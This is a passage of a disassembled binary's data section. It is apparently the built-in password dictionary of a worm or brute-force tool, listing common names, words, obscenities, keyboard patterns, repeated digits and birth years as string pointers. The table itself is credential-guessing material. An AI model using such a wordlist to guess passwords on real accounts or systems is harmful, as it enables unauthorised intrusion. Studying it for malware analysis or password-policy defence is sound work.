		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset off_42D9FC
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset off_42D8D4
		dd offset aAlbatross	; "albatross"
		dd offset off_42D8C4
		dd offset off_42D8C0
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset off_42D8A0
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset off_42D88C
		dd offset off_42D888
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset off_42D860
		dd offset off_42D85C
		dd offset off_42D858
		dd offset aCampanile	; "campanile"
		dd offset off_42D848
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset off_42D7FC
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset off_42D7E0
		dd offset off_42D7DC
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset off_42D778
		dd offset off_42D774
		dd offset off_42D770
		dd offset aHappening	; "happening"
		dd offset off_42D760
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset off_42D744
		dd offset dword_42D740
		dd offset dword_42D73C
		dd offset off_42D738
		dd offset aLamination	; "lamination"
		dd offset off_42D728
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset off_42D714
		dd offset off_42D710
		dd offset off_42D70C
		dd offset off_42D708
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset off_42D6E8
		dd offset off_42D6E4
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset off_42D698
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset off_42D684
		dd offset aRochester	; "rochester"
		dd offset off_42D674
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset off_42D634
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset off_42D60C
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset off_42D59C
		dd offset aZimmerman	; "zimmerman"
		dd offset asc_42D58C	; "%"
		dd offset asc_42D588	; "!"
		dd offset a@_12		; "!@"
		dd offset a@_11		; "!@#"
		dd offset a@		; "!@#$%"
		dd offset a@_0		; "!@#$%^"
		dd offset a@_1		; "!@#$%^&"
		dd offset a@_2		; "!@#$%^&*"
		dd offset dword_422190
		dd offset dword_42D558
		dd offset off_42D554
		dd offset a@_10		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42D548	; "+"
		dd offset asc_42D544	; "++"
		dd offset asc_42D540	; "+++"
		dd offset asc_42D538	; "++++"
		dd offset asc_42D534	; "-"
		dd offset asc_42D530	; "--"
		dd offset asc_42D530	; "--"
		dd offset asc_42D528	; "----"
		dd offset asc_42D524	; "-+"
		dd offset asc_42D51C	; "--++"
		dd offset a0		; "=-0"
		dd offset a789		; "789+"
		dd offset a456		; "456+"
		dd offset asc_42D504	; "$"
		dd offset asc_42D500	; "$$"
		dd offset asc_42D4FC	; "$$$"
		dd offset a@_3		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_5		; "^%$#@!"
		dd offset a@_6		; "%$#@!"
		dd offset a@_7		; "$#@!"
		dd offset a@_9		; "#@!"
		dd offset a@_8		; "@!"
		dd offset dword_4221A4
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_4253F8	; "*"
		dd offset asc_42D4AC	; "**"
		dd offset asc_42D4A8	; "***"
		dd offset asc_42D4A0	; "****"
		dd offset asc_42D498	; "*****"
		dd offset asc_42D490	; "******"
		dd offset asc_42D488	; "*******"
		dd offset asc_42D47C	; "********"
		dd offset asc_42D470	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456_0	; "456"
		dd offset a654		; "654"
		dd offset a789_0	; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
